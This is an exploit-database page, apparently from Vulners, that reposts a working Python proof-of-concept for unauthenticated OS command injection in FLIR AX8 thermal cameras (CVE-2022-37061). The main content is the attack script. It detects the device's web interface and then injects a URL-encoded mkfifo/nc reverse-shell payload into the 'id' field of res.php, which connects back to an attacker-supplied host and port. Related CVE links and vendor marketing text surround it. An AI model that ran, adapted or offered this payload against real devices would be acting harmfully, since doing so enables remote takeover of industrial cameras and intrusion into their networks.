Lucene search
K

FLIR AX8 1.46.16 Remote Command Execution Exploit

🗓️ 22 Aug 2022 00:00:00Reported by Samy YounsiType 
zdt
 zdt
🔗 0day.today👁 579 Views

FLIR AX8 Unauthenticated Command Injection via Remote Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
FLIR AX8 1.46.16 Traversal / Access Control / Command Injection / XSS Vulnerabilities
22 Aug 202200:00
zdt
0day.today
FLIR AX8 1.46.16 Remote Command Injection Exploit
2 Nov 202200:00
zdt
ATTACKERKB
CVE-2022-36266
8 Aug 202215:15
attackerkb
ATTACKERKB
CVE-2022-37061
18 Aug 202200:00
attackerkb
Circl
CVE-2022-36266
8 Aug 202218:23
circl
Circl
CVE-2022-37061
18 Aug 202222:26
circl
CNNVD
Airspan AirSpot 5410 跨站脚本漏洞
8 Aug 202200:00
cnnvd
CNNVD
Teledyne FLIR AX8 操作系统命令注入漏洞
18 Aug 202200:00
cnnvd
Check Point Advisories
FLIR AX8 Thermal Camera Command Injection (CVE-2022-37061)
21 Nov 202200:00
checkpoint_advisories
CVE
CVE-2022-36266
8 Aug 202214:35
cve
Rows per page
# -*- coding: utf-8 -*-

# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection
# Exploit Author: Samy Younsi Naqwada (https://samy.link)
# Vendor Homepage: https://www.flir.com/
# Software Link: https://www.flir.com/products/ax8-automation/
# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok
# Version: 1.46.16 and under.
# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)
# CVE : CVE-2022-37061

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3
urllib3.disable_warnings()

def banner():
  flirLogo = """ 
███████╗██╗     ██╗██████╗ 
██╔════╝██║     ██║██╔══██╗
█████╗  ██║     ██║██████╔╝
██╔══╝  ██║     ██║██╔══██╗
██║     ███████╗██║██║  ██║ 
╚═╝     ╚══════╝╚═╝╚═╝  ╚═╝
                          .---------------------.  
 █████╗ ██╗  ██╗ █████╗  /--'--.------.--------/|  
██╔══██╗╚██╗██╔╝██╔══██╗ |Say :) |__Ll__| [==] ||  
███████║ ╚███╔╝ ╚█████╔╝ |cheese!| .--. | '''' ||  
██╔══██║ ██╔██╗ ██╔══██╗ |       |( () )|      ||  
██║  ██║██╔╝ ██╗╚█████╔╝ |       | `--` |      |/  
╚═╝  ╚═╝╚═╝  ╚═╝ ╚════╝  `-------`------`------`                                       
                                                                                 
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         
\033[1;91mFLIR AX8 Unauthenticated OS Command Injection\033[1;m                                                 
                FOR EDUCATIONAL PURPOSE ONLY.   
  """
  return print('\033[1;94m{}\033[1;m'.format(flirLogo))

def pingWebInterface(RHOST, RPORT):
  url = 'http://{}:{}/login/'.format(RHOST, RPORT)
  response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
  try:
    if response.status_code != 200:
      print('[!] \033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    version = soup.find('p', id = 'login-title').string
    print('[INFO] {} detected.'.format(version))
  except:
    print('[ERROR] Can\'t grab the device version...')


def execReverseShell(RHOST, RPORT, LHOST, LPORT):
  url = 'http://{}:{}/res.php'.format(RHOST, RPORT)
  payload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)
  data = 'action=alarm&id=2;{}'.format(payload)

  headers = {
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
  }

  try:
    print('[INFO] Executing reverse shell...')
    response = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)
    print('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))
    return
  except Exception as e:
      print('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)
      return False


def main():
  banner()
  args = parser.parse_args()
  pingWebInterface(args.RHOST, args.RPORT)
  execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)


if __name__ == "__main__":
  parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)
  parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (FLIR AX8 device)", type=str, required=True)
  parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
  parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
  parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
  main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Aug 2022 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.19.8
EPSS0.93519
579